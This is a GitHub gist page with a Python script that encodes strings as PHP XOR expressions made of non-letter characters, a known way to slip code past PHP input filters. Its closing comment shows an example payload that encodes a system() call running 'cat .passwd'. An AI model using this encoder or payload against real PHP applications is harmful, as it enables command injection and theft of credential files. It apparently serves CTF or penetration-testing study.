Created
December 20, 2023 23:44
-
-
Save mxcezl/718d21a5d83b8dac8b6be792b31bf397 to your computer and use it in GitHub Desktop.
PHP String obfuscation using bitwise XOR
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
class XorConverter: | |
""" | |
A converter class to convert strings to their XOR representation. | |
""" | |
def __init__(self): | |
self.forbidden_chars = ["`"] | |
self.alphabet_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ " | |
self.non_alpha_non_hex_chars = [chr(i) for i in range(32, 127) if not chr(i).isalpha() and not 'a' <= chr(i).lower() <= 'f' and not chr(i) == ' '] | |
self.xor_mapping = self.find_xor_pairs_for_alphabet(self.non_alpha_non_hex_chars, self.forbidden_chars) | |
def find_xor_pairs_for_alphabet(self, valid_chars, forbidden_chars=None): | |
""" | |
Generates a XOR mapping dictionary for the alphabet using valid characters. | |
""" | |
xor_pairs = {} | |
for char in self.alphabet_chars: | |
for i in valid_chars: | |
for j in valid_chars: | |
if ord(i) ^ ord(j) == ord(char) and i not in forbidden_chars and j not in forbidden_chars: | |
xor_pairs[char] = (i, j) | |
break | |
if char in xor_pairs: | |
break | |
return xor_pairs | |
@staticmethod | |
def escape_character(char): | |
""" | |
Escapes quotes and backslashes in the given character. | |
""" | |
if char in ["'", '\\']: | |
return '\\' + char | |
return char | |
def convert_string_to_xor(self, input_string): | |
""" | |
Converts a given string to its XOR representation. | |
""" | |
converted_string = "" | |
for i, char in enumerate(input_string): | |
next_char = input_string[i+1] if i+1 < len(input_string) else None | |
if char in self.xor_mapping: | |
char1, char2 = self.xor_mapping[char] | |
char1_escaped = self.escape_character(char1) | |
char2_escaped = self.escape_character(char2) | |
converted_string += f"('{char1_escaped}'^'{char2_escaped}')" | |
if next_char and next_char in self.xor_mapping: | |
converted_string += '.' | |
else: | |
if char in ['.']: | |
converted_string += f".'{char}'" | |
converted_string += f"{char}" | |
return converted_string | |
# Create an instance of XorConverter | |
converter = XorConverter() | |
# Continuous user input loop | |
while True: | |
input_string = input("Enter a string to convert (type 'exit' to quit): ") | |
if input_string.lower() == 'exit': | |
break | |
converted_string = converter.convert_string_to_xor(input_string) | |
print(f"Converted: {converted_string}") | |
# Exemple : | |
# Enter a string to convert (type 'exit' to quit): (system)(cat .passwd) | |
# Converted: (('('^'[').('"'^'[').('('^'[').('('^'\\').('%'^'@').('-'^'@'))(('#'^'@').('!'^'@').('('^'\\').('['^'{').'.'.('+'^'[').('!'^'@').('('^'[').('('^'[').('('^'_').('$'^'@')) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment